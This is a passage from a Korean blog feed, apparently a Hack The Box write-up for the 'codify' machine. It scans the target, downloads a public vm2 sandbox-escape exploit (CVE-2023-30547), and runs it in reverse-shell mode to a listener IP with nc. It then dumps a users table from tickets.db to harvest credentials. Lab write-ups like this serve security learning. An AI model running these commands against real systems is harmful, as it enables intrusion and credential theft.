&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;255&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ei5p2C/btsE1DY40lf/23ysznnk2ONUqpQ3J8u1L1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ei5p2C/btsE1DY40lf/23ysznnk2ONUqpQ3J8u1L1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ei5p2C/btsE1DY40lf/23ysznnk2ONUqpQ3J8u1L1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fei5p2C%2FbtsE1DY40lf%2F23ysznnk2ONUqpQ3J8u1L1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;255&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;255&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'root.txt' flag 확인.&lt;/p&gt;</description>
      <category>문제풀이/Hack The Box</category>
      <author>Kwon Oh! JUN</author>
      <guid isPermaLink="true">https://securitystudy.tistory.com/165</guid>
      <comments>https://securitystudy.tistory.com/165#entry165comment</comments>
      <pubDate>Mon, 19 Feb 2024 18:36:18 +0900</pubDate>
    </item>
    <item>
      <title>[Hack The Box] codify</title>
      <link>https://securitystudy.tistory.com/164</link>
      <description>&lt;script&gt;
const _0x5eef=['classList','92935nhtnYq','setAttribute','push','innerHTML','getElementById','toLowerCase','tt_adsense_top','another_category','style','//p[contains(text(),\x27[목차여기]\x27)]','1954669aacfHB','div','appendChild','toc-ym','title','forEach','DOMContentLoaded','call','addEventListener','length','insertBefore','firstElementChild','log','27309qNoTHN','62SuwPRc','parentNode','querySelector','revenue_unit_wrap','tagName','23736mMyuUa','singleNodeValue','trim','17723tUfPMr','textContent','1STKGDu','getAttribute','contains','nextSibling','791846eKKEom','createElement','outerText','FIRST_ORDERED_NODE_TYPE','querySelectorAll','72wJWnLP','hasAttribute','669103LLOFBD','toc'];function _0x330c(_0x5d40d0,_0x4afdad){_0x5d40d0=_0x5d40d0-0xec;let _0x5eef71=_0x5eef[_0x5d40d0];return _0x5eef71;}const _0x2078d2=_0x330c;(function(_0xbea334,_0x392453){const _0x2c3076=_0x330c;while(!![]){try{const _0x5a087d=-parseInt(_0x2c3076(0x117))+parseInt(_0x2c3076(0xf7))+parseInt(_0x2c3076(0xfa))+-parseInt(_0x2c3076(0x11a))*-parseInt(_0x2c3076(0xf5))+parseInt(_0x2c3076(0x112))*parseInt(_0x2c3076(0x111))+parseInt(_0x2c3076(0xec))*-parseInt(_0x2c3076(0xf0))+-parseInt(_0x2c3076(0x104));if(_0x5a087d===_0x392453)break;else _0xbea334['push'](_0xbea334['shift']());}catch(_0x47ff63){_0xbea334['push'](_0xbea334['shift']());}}}(_0x5eef,0xea9e9),document[_0x2078d2(0x10c)](_0x2078d2(0x10a),function(){const _0x7eb51e=_0x2078d2;try{const _0x591681=document[_0x7eb51e(0x114)]('.contents_style'),_0x1762f9=document[_0x7eb51e(0xfe)](_0x7eb51e(0x107));if(_0x591681&amp;&amp;!_0x1762f9)htmlTableOfContents();else return![];}catch(_0x250abc){console[_0x7eb51e(0x110)]('');}}));function htmlTableOfContents(_0x4f1c99){const _0x388803=_0x2078d2;var _0x4f1c99=_0x4f1c99||document;const _0x44fb35=document[_0x388803(0xf1)]('div');_0x44fb35[_0x388803(0xfb)]('id',_0x388803(0x107));const _0x2117e2=document['querySelector']('.contents_style');var _0x35e549=_0x388803(0x103),_0x552a33=document['evaluate'](_0x35e549,document,null,XPathResult[_0x388803(0xf3)],null)[_0x388803(0x118)];let _0x407aa0;_0x552a33?(_0x407aa0=_0x552a33,_0x407aa0[_0x388803(0x11b)]='',_0x407aa0[_0x388803(0x106)](_0x44fb35)):(_0x407aa0=_0x2117e2[_0x388803(0x10f)],_0x407aa0['classList'][_0x388803(0xee)](_0x388803(0x100))||_0x407aa0[_0x388803(0xf9)]['contains'](_0x388803(0x115))?_0x2117e2['insertBefore'](_0x44fb35,_0x407aa0[_0x388803(0xef)]):_0x407aa0[_0x388803(0x113)][_0x388803(0x10e)](_0x44fb35,_0x407aa0));const _0x3e06b5=document['getElementById'](_0x388803(0x107)),_0x5ee2f2=[]['slice'][_0x388803(0x10b)](_0x2117e2[_0x388803(0xf4)]('h1,\x20h2,\x20h3,\x20h4,\x20h5,\x20h6')),_0x454032=[];for(i=0x0;i&lt;_0x5ee2f2[_0x388803(0x10d)];i++){if(_0x5ee2f2[i][_0x388803(0xf2)][_0x388803(0x119)]()==='')continue;else{if(_0x5ee2f2[i][_0x388803(0xf9)][_0x388803(0xee)](_0x388803(0x108)))continue;else{if(_0x5ee2f2[i][_0x388803(0x113)]['classList'][_0x388803(0xee)](_0x388803(0x101)))continue;else _0x454032[_0x388803(0xfc)](_0x5ee2f2[i]);}}}_0x454032[_0x388803(0x109)](function(_0x5d97e0,_0x2112a5){const _0x4b3465=_0x388803;var _0x94aa2e=_0x4b3465(0xf8)+_0x2112a5;if(_0x5d97e0[_0x4b3465(0xf6)]('id'))_0x94aa2e=_0x5d97e0[_0x4b3465(0xed)]('id');else _0x5d97e0[_0x4b3465(0xfb)]('id',_0x94aa2e);var _0x34278b=_0x4f1c99[_0x4b3465(0xf1)]('a');_0x34278b[_0x4b3465(0xfb)]('href','#'+_0x94aa2e),_0x34278b['textContent']='•\x20'+_0x5d97e0[_0x4b3465(0x11b)];var _0x118edf=_0x4f1c99[_0x4b3465(0xf1)](_0x4b3465(0x105));_0x118edf[_0x4b3465(0xfb)]('class',_0x5d97e0[_0x4b3465(0x116)][_0x4b3465(0xff)]()),_0x118edf[_0x4b3465(0x106)](_0x34278b),_0x3e06b5[_0x4b3465(0x106)](_0x118edf);});const _0xd72dc='\x0a\x20\x20\x20\x20#toc-ym\x20div.h1\x20{\x20margin-left:\x200em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h2\x20{\x20margin-left:\x200.5em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h3\x20{\x20margin-left:\x201em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h4\x20{\x20margin-left:\x201.5em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h5\x20{\x20margin-left:\x202em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h6\x20{\x20margin-left:\x202.5em\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20#toc-ym\x20{\x0a\x20\x20\x20\x20\x20\x20margin:\x2030px\x200px\x2030px\x200px;\x0a\x20\x20\x20\x20\x20\x20padding:\x2020px\x2020px\x2010px\x2015px;\x0a\x20\x20\x20\x20\x20\x20border:\x201px\x20solid\x20#dadada;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#ffffff;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym::before\x20{\x0a\x20\x20\x20\x20\x20\x20content:\x20\x22목\x20\x20차\x22;\x0a\x20\x20\x20\x20\x20\x20display:\x20block;\x0a\x20\x20\x20\x20\x20\x20width:\x20120px;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20rgb(255,\x20255,\x20255);\x0a\x20\x20\x20\x20\x20\x20text-align:\x20center;\x0a\x20\x20\x20\x20\x20\x20font-size:\x2018px;\x0a\x20\x20\x20\x20\x20\x20font-weight:\x20bold;\x0a\x20\x20\x20\x20\x20\x20margin:\x20-40px\x20auto\x200px;\x0a\x20\x20\x20\x20\x20\x20padding:\x205px\x200px;\x0a\x20\x20\x20\x20\x20\x20border-width:\x201px;\x0a\x20\x20\x20\x20\x20\x20border-style:\x20solid;\x0a\x20\x20\x20\x20\x20\x20border-color:\x20rgb(218,\x20218,\x20218);\x0a\x20\x20\x20\x20\x20\x20border-image:\x20initial;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div{\x0a\x20\x20\x20\x20\x20\x20margin:\x205px\x200px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div:first-child{\x0a\x20\x20\x20\x20\x20\x20margin-top:\x2015px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div:last-child{\x0a\x20\x20\x20\x20\x20\x20margin-bottom:\x2015px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div\x20a\x20{\x0a\x20\x20\x20\x20\x20\x20text-decoration:\x20none;\x0a\x20\x20\x20\x20\x20\x20color:\x20#337ab7;\x0a\x20\x20\x20\x20\x20\x20transition:\x20all\x20ease\x200.2s;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div\x20a:hover\x20{\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20color:\x20#333333;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#ecc7ff;\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20/*\x0a\x20\x20\x20\x20.contents_style\x20h3{\x0a\x20\x20\x20\x20\x20\x20margin-bottom:7px;\x0a\x20\x20\x20\x20\x20\x20padding:\x2010px\x2015px;\x0a\x20\x20\x20\x20\x20\x20border-left:\x205px\x20solid\x20#757575;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#e5e5e5;\x0a\x20\x20\x20\x20\x20\x20font-weight:\x20500;\x0a\x20\x20\x20\x20\x20\x20color:\x20#000000\x20!important;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20*/\x0a\x20\x20\x20\x20',_0x3ed036=document[_0x388803(0xf1)](_0x388803(0x102));_0x3ed036[_0x388803(0xfd)]=_0xd72dc,_0x2117e2[_0x388803(0x10e)](_0x3ed036,_0x407aa0);}
&lt;/script&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 정보수집&lt;/h2&gt;
&lt;h4 id=&quot;toc1&quot; style=&quot;background-color: #ffffff; color: #5c5c5c; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1.1. nmap을 활용한 스캔&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1708066746782&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nmap -sV 10.10.11.239 -T5&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;705&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cC9fKu/btsEViVzFAD/AD4AN7E3xJ3vvMbO31ccKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cC9fKu/btsEViVzFAD/AD4AN7E3xJ3vvMbO31ccKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cC9fKu/btsEViVzFAD/AD4AN7E3xJ3vvMbO31ccKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcC9fKu%2FbtsEViVzFAD%2FAD4AN7E3xJ3vvMbO31ccKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1970&quot; height=&quot;705&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;705&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 초기접근&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.1. 'CVE-2023-30547' 샌드박스 탈출 및 임의의 코드 실행&lt;/h4&gt;
&lt;pre id=&quot;code_1708066827572&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://codify.htb/editor&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1888&quot; data-origin-height=&quot;1901&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dECJfE/btsEVjfYwOq/1yMFRAaYIxbx1jgWU4dpSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dECJfE/btsEVjfYwOq/1yMFRAaYIxbx1jgWU4dpSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dECJfE/btsEVjfYwOq/1yMFRAaYIxbx1jgWU4dpSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdECJfE%2FbtsEVjfYwOq%2F1yMFRAaYIxbx1jgWU4dpSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1888&quot; height=&quot;1901&quot; data-origin-width=&quot;1888&quot; data-origin-height=&quot;1901&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'codify' 사이트에서 node.js editor 입력칸을 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708149062751&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://codify.htb/about&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1810&quot; data-origin-height=&quot;779&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SkaT3/btsE0HTC32h/mFw7q2UeC9Z1UT1KiDOMb0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SkaT3/btsE0HTC32h/mFw7q2UeC9Z1UT1KiDOMb0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SkaT3/btsE0HTC32h/mFw7q2UeC9Z1UT1KiDOMb0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSkaT3%2FbtsE0HTC32h%2FmFw7q2UeC9Z1UT1KiDOMb0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1810&quot; height=&quot;779&quot; data-origin-width=&quot;1810&quot; data-origin-height=&quot;779&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;tw-target-text&quot; class=&quot;erlang&quot; style=&quot;background-color: #303134; color: #e8eaed; text-align: left;&quot; data-ved=&quot;2ahUKEwi-xvDL17GEAxXLSPUHHVsTBN8Q3ewLegQIBRAU&quot; data-placeholder=&quot;번역&quot;&gt;&lt;code&gt;vm2 라이브러리는 JavaScript 샌드박싱을 위해 널리 사용되고 신뢰할 수 있는 도구입니다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'codify' 사이트에 대해서 찾아보니까 vm2 라이브러리에 대한 취약점을 찾아볼 수 있었음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708067369376&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;wget https://raw.githubusercontent.com/Cur1iosity/CVE-2023-30547/main/CVE-2023-30547.py&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s95ul/btsEYIer00z/DohjWt4ZCViI45PaA5Lg00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s95ul/btsEYIer00z/DohjWt4ZCViI45PaA5Lg00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s95ul/btsEYIer00z/DohjWt4ZCViI45PaA5Lg00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs95ul%2FbtsEYIer00z%2FDohjWt4ZCViI45PaA5Lg00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;659&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 github에서 vm2 라이브러리에 대한 exploit을 다운받음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708067321084&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;python3 CVE-2023-30547.py -m reverse_shell -t http://codify.htb/run -p 4321 -i 10.10.14.68&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;147&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOuC3v/btsEVKqUKkz/8JV6xX5DtB5qkpjkbAobb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOuC3v/btsEVKqUKkz/8JV6xX5DtB5qkpjkbAobb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOuC3v/btsEVKqUKkz/8JV6xX5DtB5qkpjkbAobb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOuC3v%2FbtsEVKqUKkz%2F8JV6xX5DtB5qkpjkbAobb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;147&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;147&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;http://codify.htb/run&quot; 사이트를 대상으로 reverse shell을 실행시킴.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1708067267999&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - Cur1iosity/CVE-2023-30547: Tool for exploring CVE-2023-30547&quot; data-og-description=&quot;Tool for exploring CVE-2023-30547. Contribute to Cur1iosity/CVE-2023-30547 development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/Cur1iosity/CVE-2023-30547?tab=readme-ov-file&quot; data-og-url=&quot;https://github.com/Cur1iosity/CVE-2023-30547&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/g1o7g/hyVmU3e93y/RhPHY3k8RufwZhy2LTD5r1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/Cur1iosity/CVE-2023-30547?tab=readme-ov-file&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/Cur1iosity/CVE-2023-30547?tab=readme-ov-file&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/g1o7g/hyVmU3e93y/RhPHY3k8RufwZhy2LTD5r1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - Cur1iosity/CVE-2023-30547: Tool for exploring CVE-2023-30547&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Tool for exploring CVE-2023-30547. Contribute to Cur1iosity/CVE-2023-30547 development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708067590860&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nc -lvp 4321&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;283&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmahxt/btsEWgiIZDd/ArUUtG00ECrxHTLWW81jb0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmahxt/btsEWgiIZDd/ArUUtG00ECrxHTLWW81jb0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmahxt/btsEWgiIZDd/ArUUtG00ECrxHTLWW81jb0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcmahxt%2FbtsEWgiIZDd%2FArUUtG00ECrxHTLWW81jb0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;283&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;283&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reverse shell 받을 포트를 열어두면 연결되는것을 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.2. 'ticket.db'에서 계정 찾기&lt;/h4&gt;
&lt;pre id=&quot;code_1708067643703&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;find / -name &quot;*.db&quot; 2&amp;gt;/dev/null&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2398&quot; data-origin-height=&quot;1747&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPrm6X/btsEWKX9HiT/8ltK10IRFeR7hbfDk5IAAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPrm6X/btsEWKX9HiT/8ltK10IRFeR7hbfDk5IAAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPrm6X/btsEWKX9HiT/8ltK10IRFeR7hbfDk5IAAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPrm6X%2FbtsEWKX9HiT%2F8ltK10IRFeR7hbfDk5IAAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2398&quot; height=&quot;1747&quot; data-origin-width=&quot;2398&quot; data-origin-height=&quot;1747&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떤 정보를 얻을 수 있나 찾아보다가 *.db 검색해보니 다양한 DB 파일을 확인할 수 있었는데 '/var/www/contact' 웹 서버를 관리하는 디렉터리에서 'tickets,db' 발견할 수 있었음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708067689817&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sqlite3 tickets.db
.tables&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3066&quot; data-origin-height=&quot;414&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PcJwG/btsEYVxPuGQ/khE31BtNlkR5IMll9IGhEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PcJwG/btsEYVxPuGQ/khE31BtNlkR5IMll9IGhEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PcJwG/btsEYVxPuGQ/khE31BtNlkR5IMll9IGhEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPcJwG%2FbtsEYVxPuGQ%2FkhE31BtNlkR5IMll9IGhEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3066&quot; height=&quot;414&quot; data-origin-width=&quot;3066&quot; data-origin-height=&quot;414&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cat 명령어 사용해서 .db 파일을 확인할 수도 있지만, 뒤죽박죽으로 나와서 sqlite3 사용해서 'tickets.db' 파일에 대해 확인해봤음. 'tickets', 'users' 테이블이 존재하는것을 확인할 수 있었음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708067744897&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;select * from users;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3071&quot; data-origin-height=&quot;609&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dugqFb/btsEYMnCM6z/zatJ2HfGyZuOPwsaVKKrF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dugqFb/btsEYMnCM6z/zatJ2HfGyZuOPwsaVKKrF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dugqFb/btsEYMnCM6z/zatJ2HfGyZuOPwsaVKKrF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdugqFb%2FbtsEYMnCM6z%2FzatJ2HfGyZuOPwsaVKKrF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; 